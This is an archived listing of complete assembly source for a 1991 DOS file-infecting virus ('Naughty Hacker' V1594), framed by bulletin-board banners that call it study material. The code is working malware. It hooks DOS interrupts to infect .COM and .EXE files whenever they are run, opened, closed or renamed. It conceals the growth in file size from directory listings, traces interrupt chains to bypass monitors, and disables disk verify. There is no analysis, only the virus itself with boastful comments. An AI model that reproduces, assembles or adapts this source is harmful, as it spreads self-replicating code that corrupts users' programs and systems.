home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / HORSE.ASM < prev    next >
Assembly Source File  |  1992-10-11  |  28KB  |  1,010 lines

  1. ;****************************************************************************;
  2. ;                                                                            ;
  3. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  4. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  5. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  6. ;                     -=]                            [=-                     ;
  7. ;                     -=] For All Your H/P/A/V Files [=-                     ;
  8. ;                     -=]    SysOp: Peter Venkman    [=-                     ;
  9. ;                     -=]                            [=-                     ;
  10. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  11. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  12. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  13. ;                                                                            ;
  14. ;                    *** NOT FOR GENERAL DISTRIBUTION ***                    ;
  15. ;                                                                            ;
  16. ; This File is for the Purpose of Virus Study Only! It Should not be Passed  ;
  17. ; Around Among the General Public. It Will be Very Useful for Learning how   ;
  18. ; Viruses Work and Propagate. But Anybody With Access to an Assembler can    ;
  19. ; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding     ;
  20. ; Experience can Turn it Into a far More Malevolent Program Than it Already  ;
  21. ; Is. Keep This Code in Responsible Hands!                                   ;
  22. ;                                                                            ;
  23. ;****************************************************************************;
  24.         .radix  16
  25.  
  26.  
  27.         ;*********************************
  28.         ;*   The Naughty Hacker's virus  *
  29.         ;*VERSION 3.1 (And not the last.)*
  30.         ;*          ( V1594 )            *
  31.         ;*  Finished on the 10.04.1991   *
  32.         ;*                               *
  33.         ;*    Glad to meet you friend!   *
  34.         ;*                               *
  35.         ;*********************************
  36.  
  37. ;
  38. ; "It's hard to find a black cat in a dark room, especially if it's not there."
  39. ;
  40. ; Å░Ññ óá▒ ▒▓«¿ «░¿ú¿¡á½¡¿┐ ▓Ѭ▒▓ ¡á V1594 (ᬫ ¼«ªÑ ▓á¬á ñá ¬áªÑ !@!?!).
  41. ; Çó▓«░║▓ (è«¡┐) »░Ññóá░¿▓ѽ¡« »░Ññ│»░Ѫñáóá,╖Ñ ¡Ñ ªÑ½áÑ ▓«º¿ ▓Ѭ▒▓ ñá í║ñÑ
  42. ; »░«¼Ñ¡┐¡ »« ¡¿¬á¬║ó ¡á╖¿¡, ¡« á¬« ªÑ½áÑ▓Ñ ñá ú« │▒║ó║░╕Ñ¡▒▓óá▓Ñ ¼«ªÑ ñá
  43. ; ¡á»░áó¿▓Ñ ▓«óá ¡á»║½¡« ▒ó«í«ñ¡« »░¿ Ññ¿¡▒▓óÑ¡«▓« │▒½«ó¿Ñ, ╖Ñ ó »«½│╖Ñ¡á▓á
  44. ; ¡«óá óÑ░▒¿┐ ¡┐¼á ñá ¿¼á ¡¿¬á¬ó¿ ░áº░│╕¿▓ѽ¡¿ ┤│¡¬╢¿¿.
  45. ; Çó▓«░║▓ ¡Ñ »«Ñ¼á ¡¿¬á¬óá «▓ú«ó«░¡«▒▓ ºá ╣Ñ▓¿ »░¿╖¿¡Ñ¡¿ «▓ éêÉôæÇ ......
  46. ;
  47. ; äá ▒Ñ ¬«¼»¿½¿░á ¡á TURBO ASSEMBLER Ver 1.03B. Æá¬á »«½│╖Ñ¡¿┐ ¬«ñ Ñ ú«▓«ó
  48. ; ºá ▒▓á░▓¿░á¡Ñ ¿ ....
  49. ;
  50. ;                  Å«ºñ░áó¿ ñ« ó▒¿╖¬¿ VIRUSWRITERS !
  51. ;
  52. ;
  53. ;                         To be continued ...
  54. ;
  55.  
  56.  
  57.         call    Start_Virus
  58.         mov     dx,offset Hellomsg
  59.         mov     ah,9
  60.         int     21
  61.         int     20
  62.  
  63. Hellomsg db     0a,0dh,7,'HI WORLD,GIVE ME COMMAND.COM !!!',0a,0dh,7,'$'
  64.  
  65.         Virus_lenght    equ     endcode-adjust
  66.         alllen          equ     buffer-adjust
  67.  
  68.         adjust  label word
  69.  
  70.  
  71.         IP_save label   word
  72.  
  73.         First_3 Label Byte
  74.                                                 ;For .COM file here stores
  75.         ret
  76.         nop
  77.         nop
  78.  
  79.         CS_save dw      ?                       ;The first 3 bytes
  80.         SP_save dw      ?
  81.         SS_save dw      0FFFF                   ;0FFFF For COM files
  82.  
  83.  
  84. signature:
  85.  
  86.         db      'N.Hacker'                      ;It's me the HORSE !!!
  87.  
  88. date_stamp:
  89.  
  90.         dd      10041991                        ;10.04.1991
  91.  
  92. Run_The_Program:
  93.  
  94.         pop     ds                              ;Restore saved ds,es,ax
  95.         pop     es                              ;ds=es=PSP
  96.         pop     ax
  97.         cmp     cs:[bp+SS_save-adjust],0FFFF    ;Run the infected program
  98.         je      Run_COM_File
  99.  
  100.         mov     ax,ds                           ;Calculate load segment
  101.         add     ax,10
  102.         mov     bx,ax
  103.         add     ax,cs:[bp+CS_save-adjust]       ;Calculate CS value
  104.         add     bx,cs:[bp+SS_save-adjust]       ;Calculate SS value
  105.         mov     ss,bx                           ;Run .EXE program
  106.         mov     sp,word ptr cs:[bp+SP_save-adjust]
  107.         push    ax
  108.         push    word ptr cs:[bp+IP_save-adjust]
  109.         retf
  110.  
  111. Run_COM_File:
  112.  
  113.         mov     di,100
  114.         mov     si,bp
  115.         movsb                                   ;Restore the first 3 bytes
  116.         movsw                                   ;Run .COM program
  117.         mov     bx,100
  118.         push    bx
  119.         sub     bh,bh
  120.         ret
  121.  
  122. ;*******************************************************************
  123. ;                                                                  *
  124. ;                  This is the program entry....                   *
  125. ;                                                                  *
  126. ;*******************************************************************
  127.  
  128.  
  129. Start_Virus:
  130.  
  131.         call    Get_IP                          ;This is to get the IP value.
  132.  
  133. Get_IP:
  134.         pop     bp                              ;Get it in BP.
  135.         sub     bp,Get_IP-adjust                ;adjust BP point to the begining
  136.         cld                                     ;Clear direction flag
  137.         push    ax                              ;Save some registres
  138.         push    es
  139.         push    ds
  140.         mov     es,[2]                          ;get last segment
  141.         mov     di,Run_The_Program-adjust       ;(last segment=segment of virus)
  142.  
  143.         push    ds
  144.         push    cs
  145.         pop     ds
  146.         mov     si,di
  147.         add     si,bp
  148.         mov     cx,endcode-Run_The_Program
  149.         rep     cmpsb                           ;check if virus is in memory
  150.         pop     ds
  151.         push    ds
  152.         pop     es
  153.         je      Run_The_Program ;If so then run the program
  154.  
  155.         mov     word ptr cs:[bp+handle-adjust],0ffff ;set handle_save
  156.         mov     ax,ds
  157.         dec     ax
  158.         mov     ds,ax                           ;ds=MCB
  159.         sub     word ptr [3],80 ;Set block size
  160.         sub     word ptr [12],80                ;Set last segment
  161.         mov     es,[12] ;steal some memory (2K)
  162.         push    cs
  163.         pop     ds
  164.         sub     di,di
  165.         mov     si,bp                           ;prepare to move in high mem
  166.         mov     cx,alllen                       ;will move virus+variables
  167.         rep     movsb                           ;copy there
  168.         push    cs
  169.         mov     ax,Run_The_Program-adjust
  170.         add     ax,bp
  171.         push    ax
  172.         push    es
  173.         mov     ax,offset Set_Vectors-adjust    ;Set vectors
  174.         push    ax
  175.         retf
  176.  
  177. Find_First_Next:
  178.  
  179.         call    Call_Original_INT_21h           ;fuck when do the dir command
  180.         push    bx
  181.         push    es
  182.         push    ax
  183.         or      al,al
  184.         jnz     Go_Out_          ;if error
  185.  
  186.         mov     ah,2f                           ;get DTA address
  187.         int     21
  188.  
  189.         mov     al,byte ptr es:[bx+30d] ;Seconds in al
  190.         and     al,31d                  ;Mask seconds
  191.         cmp     al,60d/2                        ;Seconds=60?
  192.         jne     Go_Out_
  193.  
  194.         mov     ax,es:[bx+36d]
  195.         mov     dx,es:[bx+38d]          ;Check File size
  196.         cmp     ax,Virus_lenght*2
  197.         sbb     dx,0
  198.         jb      Go_Out_
  199.  
  200.  
  201. Adjust_Size:
  202.  
  203.         sub     es:[bx+28d+7+1],Virus_lenght ;Adjust size
  204.         sbb     es:[bx+28d+2+7+1],0
  205.  
  206. Go_Out_:
  207.  
  208.         pop     ax
  209.         pop     es                      ;Return to caller
  210.         pop     bx
  211.         iret
  212.  
  213. Find_First_Next1:
  214.  
  215.         call    Call_Original_INT_21h
  216.         pushf
  217.         push    ax
  218.         push    bx                              ;fuck again
  219.         push    es
  220.         jc      Go_Out_1
  221.  
  222.         mov     ah,2f
  223.         int     21
  224.  
  225.         mov     al,es:[bx+22d]
  226.         and     al,31d
  227.         cmp     al,60d/2
  228.         jne     Go_Out_1
  229.  
  230.         mov     ax,es:[bx+26d]
  231.         mov     dx,es:[bx+28d]
  232.         cmp     ax,Virus_lenght*2
  233.         sbb     dx,0
  234.         jb      Go_Out_1
  235.  
  236. Adjust_Size1:
  237.  
  238.         sub     es:[bx+26d],Virus_lenght
  239.         sbb     es:[bx+28d],0
  240.  
  241. Go_Out_1:
  242.  
  243.         pop     es
  244.         pop     bx
  245.         pop     ax                      ; Dummy proc far
  246.         popf                            ; ret   2
  247.         db      0ca,2,0 ;retf 2         ; Dummy endp =>  BUT too long...
  248.  
  249.  
  250.         ;*************************************
  251.         ;                                    *
  252.         ;       Int 21 entry point.          *
  253.         ;                                    *
  254.         ;**************************:KIIII∙*****
  255.  
  256.  
  257.  
  258. INT_21h_Entry_Point:
  259.  
  260.  
  261.         cmp     ah,11
  262.         je      Find_First_Next ;Find First Next (old)
  263.         cmp     ah,12
  264.         je      Find_First_Next
  265.  
  266.         cmp     ah,4e                   ;Find First Next (new)
  267.         je      Find_First_Next1
  268.         cmp     ah,4f
  269.         je      Find_First_Next1
  270.  
  271.         cmp     ah,6ch
  272.         jne     not_create              ;Create (4.X)
  273.         test    bl,1
  274.         jz      not_create
  275.         jnz     create
  276.  
  277. not_create:
  278.  
  279.         cmp     ah,3ch                  ;Create (3.X)
  280.         je      create
  281.         cmp     ah,5bh
  282.         je      create
  283.  
  284.         push    ax
  285.         push    bx
  286.         push    cx
  287.         push    dx
  288.         push    si
  289.         push    di
  290.         push    bp
  291.         push    ds
  292.         push    es
  293.  
  294.         mov     byte ptr cs:[function-adjust],ah
  295.  
  296.         cmp     ah,6ch          ;Open (4.X)
  297.         je      create_
  298.  
  299.         cmp     ah,3e           ;Close
  300.         je      close_
  301.  
  302.         cmp     ax,4b00         ;Exec
  303.         je      Function_4Bh
  304.  
  305.         cmp     ah,17           ;Rename (old)
  306.         je      ren_FCB
  307.  
  308.         cmp     ah,56           ;Rename (new)
  309.         je      Function_4Bh
  310.  
  311.         cmp     ah,43           ;Change attributes
  312.         je      Function_4Bh
  313.  
  314.         cmp     ah,3dh          ;Open (3.X)
  315.         je      open
  316.  
  317. Return_Control:
  318.  
  319.         pop     es
  320.         pop     ds
  321.         pop     bp
  322.         pop     di
  323.         pop     si
  324.         pop     dx
  325.         pop     cx
  326.         pop     bx
  327.         pop     ax
  328.  
  329. Go_out:
  330.  
  331.         jmp     dword ptr cs:[current_21h-adjust]       ;go to the old int 21
  332.  
  333. create_:
  334.  
  335.         or      bl,bl           ;Create file?
  336.         jnz     Return_Control
  337.         mov     dx,si
  338.         jmp     Function_4Bh
  339.  
  340. ren_FCB:
  341.  
  342.         cld
  343.         inc     dx
  344.         mov     si,dx
  345.         mov     di,offset buffer-adjust
  346.         push    di
  347.         push    cs
  348.         pop     es              ;Convert FCB format Fname into ASCIIZ string
  349.         mov     cx,8
  350.         rep     movsb
  351.         mov     al,'.'
  352.         stosb
  353.         mov     cx,3
  354.         rep     movsb
  355.         sub     al,al
  356.         stosb
  357.         pop     dx
  358.         push    cs
  359.         pop     ds
  360.         jmp     Function_4Bh
  361.  
  362. create:
  363.  
  364. ;       cmp     word ptr cs:[handle-adjust],0ffff
  365. ;       jne     Go_out
  366.  
  367.         call    Call_Original_INT_21h
  368.         jc      Error
  369.         mov     word ptr cs:[handle-adjust],ax
  370.         jnc     Exit_
  371. Error:
  372.         mov     word ptr cs:[handle-adjust],0ffff       ;Useless
  373. Exit_:
  374. ;       retf    2
  375.         db 0ca,2,0
  376.  
  377. close_:
  378.         cmp     word ptr cs:[handle-adjust],0ffff
  379.         je      Return_Control
  380.         cmp     bx,word ptr cs:[handle-adjust]
  381.         jne     Return_Control
  382.  
  383.         mov     ah,45
  384.         call    Infect_It
  385.         mov     word ptr cs:[handle-adjust],0ffff
  386.         jmp     Return_Control
  387.  
  388. Function_4Bh:
  389.  
  390.         mov     ax,3d00h
  391. open:
  392.         call    Infect_It
  393.         jmp     Return_Control
  394.  
  395. ;******************************************
  396. ;                                         *
  397. ;       This infects the programs...      *
  398. ;                                         *
  399. ;******************************************
  400.  
  401. Infect_It:
  402.  
  403.         call    Call_Original_INT_21h           ;this is the infecting part
  404.         jnc     No_error
  405.         ret
  406.  
  407. No_error:
  408.  
  409.         xchg    ax,bp
  410.         mov     byte ptr cs:[flag-adjust],0
  411.         mov     ah,54
  412.         call    Call_Original_INT_21h
  413.         mov     byte ptr cs:[veri-adjust],al
  414.         cmp     al,1                            ;Switch off verify...
  415.         jne     Go_On_Setting
  416.         mov     ax,2e00
  417.         call    Call_Original_INT_21h
  418.  
  419. Go_On_Setting:
  420.  
  421.         push    cs
  422.         push    cs
  423.         pop     ds
  424.         pop     es
  425.         mov     dx,offset DOS_13h-adjust
  426.         mov     bx,dx                   ;Set New DOS int 13h
  427.         mov     ah,13
  428.         call    Call_Original_INT_2Fh
  429.  
  430.         mov     ax,3513
  431.         call    Call_Original_INT_21h
  432.         push    bx
  433.         push    es
  434.  
  435.         mov     word ptr cs:[current_13h-adjust],bx
  436.         mov     word ptr cs:[current_13h-adjust+2],es
  437.  
  438.         mov     ah,25
  439.         mov     dx,INT_13h_entry-adjust ;Set int 13h
  440.         push    cs
  441.         pop     ds
  442.         call    Call_Original_INT_21h
  443.  
  444.         mov     ax,3524
  445.         call    Call_Original_INT_21h
  446.         push    bx
  447.         push    es
  448.  
  449.         mov     ah,25
  450.         mov     dx,INT_24h_entry-adjust ;Set int 24h (Useless maybe...).
  451.         call    Call_Original_INT_21h
  452.  
  453.         xchg    bx,bp
  454.         push    bx
  455.         mov     ax,1220
  456.         call    Call_Original_INT_2Fh
  457.         mov     bl,es:[di]              ;Remember the good old V512 ?
  458.         mov     ax,1216
  459.         call    Call_Original_INT_2Fh
  460.         pop     bx
  461.         add     di,11
  462.  
  463.         mov     byte ptr es:[di-15d],2
  464.         mov     ax,es:[di]
  465.         mov     dx,es:[di+2]
  466.         cmp     ax,Virus_lenght+1
  467.         sbb     dx,0
  468.         jnb     Go_on
  469.         jmp     close
  470. Go_on:
  471.         cmp     byte ptr cs:[function-adjust],3dh
  472.         je      Scan_name
  473.         cmp     byte ptr cs:[function-adjust],6ch
  474.         jne     Dont_Scan_Name
  475.  
  476. Scan_name:
  477.  
  478.         push    di
  479.         add     di,0f
  480.         mov     si,offset fname-adjust  ;wasn't that the last opened file?
  481.         cld
  482.         mov     cx,8+3
  483.         rep     cmpsb
  484.         pop     di
  485.         jne     Dont_Scan_Name
  486.         jmp     close
  487.  
  488. Dont_Scan_Name:
  489.  
  490.         cmp     es:[di+18],'MO'
  491.         jne     Check_For_EXE                   ;check for .COM file
  492.         cmp     byte ptr es:[di+17],'C'
  493.         jne     Check_For_EXE
  494.         jmp     com
  495.  
  496. Check_For_EXE:
  497.  
  498.         cmp     es:[di+18],'EX'
  499.         jne     Not_good                        ;check for .EXE file
  500.         cmp     byte ptr es:[di+17],'E'
  501.         je      Check_For_Valid_EXE
  502.  
  503. Not_good:
  504.  
  505.         jmp     close
  506.  
  507. Check_For_Valid_EXE:
  508.  
  509.         call    Read_First_18
  510.         cmp     word ptr [si],'ZM'
  511.         je      Valid_EXE                       ;check for valid .EXE file
  512.         cmp     word ptr [si],'MZ'
  513.         je      Valid_EXE
  514.         jmp     close
  515.  
  516.  Valid_EXE:
  517.  
  518.         cmp     word ptr [si+0c],0ffff  ;only low-mem .EXE
  519.         je      Low_Mem
  520.         jmp     close
  521.  
  522. Low_Mem:
  523.  
  524.         mov     cx,[si+16]
  525.         add     cx,[si+8]                       ;Something common with EDDIE..
  526.         mov     ax,10
  527.         mul     cx
  528.         add     ax,[si+14]
  529.         adc     dx,0
  530.         mov     cx,es:[di]
  531.         sub     cx,ax
  532.         xchg    cx,ax
  533.         mov     cx,es:[di+2]
  534.         sbb     cx,dx
  535.         or      cx,cx
  536.         jnz     Not_Infected_EXE                        ;infected?
  537.         cmp     ax,(endcode-Start_Virus)
  538.         jne     Not_Infected_EXE
  539.         jmp     close
  540.  
  541. Not_Infected_EXE:
  542.  
  543.         mov     ax,[si+10]
  544.         mov     [SP_save-adjust],ax
  545.         mov     ax,[si+0e]
  546.         mov     [SS_save-adjust],ax
  547.         mov     ax,[si+14]
  548.         mov     [IP_save-adjust],ax
  549.         mov     ax,[si+16]
  550.         mov     [CS_save-adjust],ax                     ;set the new header
  551.         mov     ax,es:[di]
  552.         mov     dx,es:[di+2]
  553.  
  554.         add     ax,Virus_lenght
  555.         adc     dx,0
  556.         mov     cx,200                                  ;(C) by Lubo & Jan...
  557.         div     cx
  558.         mov     [si+2],dx
  559.         or      dx,dx
  560.         jz      OK_MOD
  561.         inc     ax
  562.  
  563. OK_MOD:
  564.         mov     [si+4],ax
  565.         mov     ax,es:[di]
  566.         mov     dx,es:[di+2]
  567.  
  568.         mov     cx,4
  569.         push    ax
  570.  
  571. Compute:
  572.  
  573.         shr     dx,1
  574.         rcr     ax,1
  575.         loop    Compute
  576.         pop     dx
  577.         and     dx,0f
  578.  
  579.         sub     ax,[si+8]
  580.         add     dx,Start_Virus-adjust
  581.         adc     ax,0
  582.         mov     [si+14],dx
  583.         mov     [si+16],ax
  584.         add     ax,(Virus_lenght)/16d+1
  585.         mov     [si+0eh],ax
  586.         mov     [si+10],100
  587.  write:
  588.         mov     ax,5700
  589.         call    Call_Original_INT_21h
  590.         push    cx
  591.         push    dx
  592.  
  593.         sub     cx,cx
  594.         mov     es:[di+4],cx
  595.         mov     es:[di+6],cx
  596.         mov     cl,20
  597.         xchg    cl,byte ptr es:[di-0dh]
  598.         push    cx
  599.         mov     ah,40   ;this writes the first few bytes and glues the virus
  600.         mov     dx,buffer-adjust
  601.         mov     cx,18
  602.  
  603.         call    Call_Original_INT_21h
  604.         mov     ax,es:[di]
  605.         mov     es:[di+4],ax
  606.         mov     ax,es:[di+2]
  607.         mov     es:[di+6],ax
  608.         call    Check_For_COMMAND       ;(C)
  609.         jne     Dont_Adjust_Size
  610.         sub     es:[di+4],Virus_lenght
  611.         sbb     es:[di+6],0             ;???????????????????????????????
  612.  
  613. Dont_Adjust_Size:
  614.  
  615.         mov     ah,40
  616.         sub     dx,dx
  617.         mov     cx,Virus_lenght
  618.         call    Call_Original_INT_21h
  619.  
  620.         pop     cx
  621.         mov     byte ptr es:[di-0dh],cl
  622.         pop     dx
  623.         pop     cx
  624.  
  625.         cmp     byte ptr cs:[flag-adjust],0ff
  626.         je      Set_Time_and_Date
  627. exit:
  628.         call    Check_For_COMMAND
  629.         je      Set_Time_and_Date
  630.         and     cl,11100000b
  631.         or      cl,60d/2
  632.  
  633. Set_Time_and_Date:
  634.  
  635.         mov     ax,5701
  636.         call    Call_Original_INT_21h
  637. close:
  638.  
  639.         mov     ah,3e
  640.         call    Call_Original_INT_21h
  641.         push    es
  642.         pop     ds
  643.         mov     si,di
  644.         add     si,0f
  645.         mov     di,fname-adjust
  646.         push    cs
  647.         pop     es
  648.         mov     cx,8+3          ;save the fname to a quit place
  649.         cld
  650.         rep     movsb
  651.         push    cs
  652.         pop     ds
  653.  
  654.         cmp     byte ptr cs:[flag-adjust],0ff
  655.         jne     Dont_Clear_Buffers
  656.         mov     ah,0dh                  ;if error occured->clear disk buffers
  657.  
  658.         call    Call_Original_INT_21h
  659.  
  660. Dont_Clear_Buffers:
  661.  
  662.         les     bx,[org_13h-adjust]
  663.         lds     dx,[org_13h-adjust]
  664.         mov     ah,13
  665.         call    Call_Original_INT_2Fh
  666.  
  667.         cmp     byte ptr cs:[veri-adjust],1
  668.         jne     Restore_Vectors
  669.         mov     ax,2e01
  670.  
  671.         call    Call_Original_INT_21h
  672.  
  673. Restore_Vectors:
  674.  
  675.         sub     ax,ax
  676.         mov     ds,ax
  677.         pop     [24*4+2]
  678.         pop     [24*4]
  679.         pop     [13*4+2]
  680.         pop     [13*4]          ;restore vectors and return
  681.         ret
  682.  com:
  683.         test    byte ptr es:[di-0dh],4  ;if it is a system file
  684.         jnz     Not_OK_COM_File ;I had some problems here with
  685.                                         ;V1160 & V1776 (with the ball)
  686.         cmp     es:[di],65535d-Virus_lenght*2-100
  687.         ja      Not_OK_COM_File
  688.  
  689.         call    Read_First_18
  690.         cmp     byte ptr [si],0E9
  691.         jne     OK_COM_file
  692.         mov     ax,es:[di]
  693.         sub     ax,[si+1]               ;infected?
  694.         cmp     ax,(endcode-Start_Virus+3)
  695.         je      Not_OK_COM_File
  696.  
  697. OK_COM_file:
  698.  
  699.         mov     word ptr [SS_save-adjust],0FFFF
  700.         push    si
  701.         lodsb
  702.         mov     word ptr [First_3-adjust],ax
  703.         lodsw
  704.         mov     word ptr [First_3-adjust+1],ax
  705.         pop     si
  706.         mov     ax,es:[di]
  707.         add     ax,Start_Virus-adjust-3
  708.         call    Check_For_COMMAND
  709.         jne     Normally
  710.         sub     ax,Virus_lenght
  711.  
  712. Normally:
  713.  
  714.         mov     byte ptr [si],0E9
  715.         mov     word ptr [si+1],ax
  716.         jmp     write
  717.  
  718. Not_OK_COM_File:
  719.  
  720.         jmp     close
  721.  
  722. Set_Vectors:
  723.  
  724.         sub     ax,ax
  725.         mov     ds,ax
  726.  
  727.         push    [1*4]
  728.         push    [1*4+2]                 ; <= (C) by N.Hacker.
  729.  
  730.         pushf
  731.         pushf
  732.         pushf
  733.         pushf
  734.  
  735.         mov     byte ptr cs:[flag-adjust],ah
  736.         mov     byte ptr cs:[my_flag-adjust],ah
  737.         mov     word ptr cs:[limit-adjust],300
  738.         mov     word ptr cs:[mem_-adjust],org_21h-adjust
  739.  
  740.         mov     [1*4],offset trap-adjust
  741.         mov     [1*4+2],cs
  742.  
  743.         call    set_trace
  744.  
  745.         mov     ax,3521
  746.  
  747.         call    dword ptr [21h*4]
  748.  
  749.  
  750.         mov     byte ptr cs:[flag-adjust],0
  751.         mov     word ptr cs:[mem_-adjust],org_2fh-adjust
  752.  
  753.         call    set_trace
  754.  
  755.         mov     ax,1200
  756.  
  757.         call    dword ptr [2fh*4]               ;do trace int 2f
  758.  
  759.  
  760.         mov     byte ptr cs:[flag-adjust],0
  761.         mov     byte ptr cs:[my_flag-adjust],0FF
  762.         mov     word ptr cs:[limit-adjust],0C800
  763.         mov     word ptr cs:[mem_-adjust],org_13h-adjust
  764.  
  765.         call    set_trace
  766.  
  767.         sub     ax,ax
  768.         mov     dl,al
  769.  
  770.         call    dword ptr [13h*4]       ;do trace int 13
  771.  
  772.         mov     byte ptr cs:[flag-adjust],0
  773.         mov     word ptr cs:[limit-adjust],0F000
  774.         mov     word ptr cs:[mem_-adjust],Floppy_org_13h-adjust
  775.  
  776.         call    set_trace
  777.  
  778.         sub     ax,ax
  779.         mov     dl,al
  780.  
  781.         call    dword ptr [13h*4]
  782.  
  783.         pop     [1*4+2]
  784.         pop     [1*4]
  785.  
  786.         les     ax,[21*4]
  787.         mov     word ptr cs:[current_21h-adjust],ax     ;get old int 21
  788.         mov     word ptr cs:[current_21h-adjust+2],es
  789.         mov     [21*4], INT_21h_Entry_Point-adjust              ;set it
  790.         mov     [21*4+2],cs
  791.         retf
  792.  
  793. set_trace:
  794.  
  795.         pushf
  796.         pop     ax
  797.         or      ax,100
  798.         push    ax
  799.         popf
  800.         ret
  801.  
  802. trap:
  803.         push    bp
  804.         mov     bp,sp
  805.         push    bx
  806.         push    di
  807.         cmp     byte ptr cs:[flag-adjust],0ff
  808.         je      off
  809.         mov     di,word ptr cs:[mem_-adjust]
  810.         mov     bx,word ptr cs:[limit-adjust]
  811.         cmp     [bp+4],bx
  812.         pushf
  813.         cmp     word ptr cs:[my_flag-adjust],0ff
  814.         jne     It_Is_JA
  815.  
  816.         popf
  817.         jb      Go_out_of_trap
  818.         jmp     It_Is_JB
  819.  
  820. It_Is_JA:
  821.  
  822.         popf
  823.         ja      Go_out_of_trap
  824.  
  825. It_Is_JB:
  826.  
  827.         mov     bx,[bp+2]
  828.         mov     word ptr cs:[di],bx
  829.         mov     bx,[bp+4]
  830.         mov     word ptr cs:[di+2],bx
  831.         mov     byte ptr cs:[flag-adjust],0ff
  832. off:
  833.         and     [bp+6],0feff
  834.  
  835. Go_out_of_trap:
  836.  
  837.         pop     di
  838.         pop     bx
  839.         pop     bp
  840.         iret
  841.  
  842. Call_Original_INT_21h:
  843.  
  844.         pushf
  845.         call    dword ptr cs:[org_21h-adjust]
  846.         ret
  847.  
  848. Call_Original_INT_2Fh:
  849.  
  850.         pushf
  851.         call    dword ptr cs:[org_2fh-adjust]
  852.         ret
  853.  
  854. INT_24h_entry:
  855.  
  856.         mov     al,3
  857.         iret
  858.  
  859. ;**************************
  860. ;    (C) by N.Hacker.     *
  861. ;      (bellow)           *
  862. ;**************************
  863.  
  864. INT_13h_entry:
  865.  
  866.         mov     byte ptr cs:[next_flag-adjust],0
  867.  
  868.         cmp     ah,2
  869.         jne     Other
  870.  
  871.         cmp     byte ptr cs:[function-adjust],03Eh
  872.         jne     Dont_hide
  873.  
  874.         dec     byte ptr cs:[next_flag-adjust]
  875.         inc     ah
  876.         jmp     Dont_hide
  877.  
  878. Other:
  879.  
  880.         cmp     ah,3
  881.         jne     Dont_hide
  882.  
  883.         cmp     byte ptr cs:[flag-adjust],0ff
  884.         je      no_error_
  885.  
  886.         cmp     byte ptr cs:[function-adjust],03Eh
  887.         je      Dont_hide
  888.  
  889.         inc     byte ptr cs:[next_flag-adjust]
  890.         dec     ah
  891.  
  892. Dont_hide:
  893.  
  894.         pushf
  895.         call    dword ptr cs:[current_13h-adjust]
  896.         jnc     no_error_
  897.         mov     byte ptr cs:[flag-adjust],0ff
  898.  
  899. no_error_:
  900.  
  901.         clc
  902.         db      0ca,02,0                ;retf 2
  903.  
  904.  
  905. DOS_13h:
  906.  
  907.         cmp     byte ptr cs:[next_flag-adjust],0
  908.         je      OK
  909.  
  910.         cmp     ah,2
  911.         je      Next
  912.         cmp     ah,3
  913.         jne     OK
  914. Next:
  915.         cmp     byte ptr cs:[next_flag-adjust],1
  916.         jne     Read
  917.         inc     ah
  918.         jne     OK
  919. Read:
  920.  
  921.         dec     ah
  922. OK:
  923.         test    dl,80
  924.         jz      Floppy
  925.         jmp     dword ptr cs:[org_13h-adjust]
  926. Floppy:
  927.         jmp     dword ptr cs:[Floppy_org_13h-adjust]
  928.  
  929.  
  930. Read_First_18:
  931.  
  932.         sub     ax,ax
  933.         mov     es:[di+4],ax
  934.         mov     es:[di+6],ax
  935.         mov     ah,3f
  936.         mov     cx,18
  937.         mov     dx,buffer-adjust
  938.         mov     si,dx
  939.         call    Call_Original_INT_21h
  940.         ret
  941.  
  942. Check_For_COMMAND:
  943.  
  944.         cmp     es:[di+0f],'OC'
  945.         jne     Not_COMMAND
  946.         cmp     es:[di+11],'MM'
  947.         jne     Not_COMMAND
  948.         cmp     es:[di+13],'NA'
  949.         jne     Not_COMMAND                     ;check for command.com
  950.         cmp     es:[di+15],' D'
  951.         jne     Not_COMMAND
  952.         cmp     es:[di+17],'OC'
  953.         jne     Not_COMMAND
  954.         cmp     byte ptr es:[di+19],'M'
  955.  
  956. Not_COMMAND:
  957.  
  958.         ret
  959.  
  960. endcode label   word
  961.  
  962.         current_21h     dd ?
  963.         null            dd ?    ;I forgot to remove this variable...
  964.         current_13h     dd ?
  965.         org_2fh dd      ?
  966.         org_13h dd      ?
  967.         org_21h dd      ?
  968.         Floppy_org_13h  dd ?
  969.         flag    db      ?       ;0ff if error occures
  970.         veri    db      ?
  971.         handle  dw      ?
  972.         fname   db      8+3 dup (?)
  973.         function db     ?
  974.         my_flag db ?
  975.         limit           dw ?
  976.         mem_            dw ?
  977.         next_flag       db ?
  978.  
  979. buffer  label   word
  980.  
  981. ;****************************************************************************;
  982. ;                                                                            ;
  983. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  984. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  985. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  986. ;                     -=]                            [=-                     ;
  987. ;                     -=] For All Your H/P/A/V Files [=-                     ;
  988. ;                     -=]    SysOp: Peter Venkman    [=-                     ;
  989. ;                     -=]                            [=-                     ;
  990. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  991. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  992. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  993. ;                                                                            ;
  994. ;                    *** NOT FOR GENERAL DISTRIBUTION ***                    ;
  995. ;                                                                            ;
  996. ; This File is for the Purpose of Virus Study Only! It Should not be Passed  ;
  997. ; Around Among the General Public. It Will be Very Useful for Learning how   ;
  998. ; Viruses Work and Propagate. But Anybody With Access to an Assembler can    ;
  999. ; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding     ;
  1000. ; Experience can Turn it Into a far More Malevolent Program Than it Already  ;
  1001. ; Is. Keep This Code in Responsible Hands!                                   ;
  1002. ;                                                                            ;
  1003. ;****************************************************************************;
  1004.  
  1005. ;─────────────────────────────────────────────────────────────────────────;
  1006. ;──────────────────> and Remember Don't Forget to Call <──────────────────;
  1007. ;────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────;
  1008. ;─────────────────────────────────────────────────────────────────────────;
  1009.  
  1010.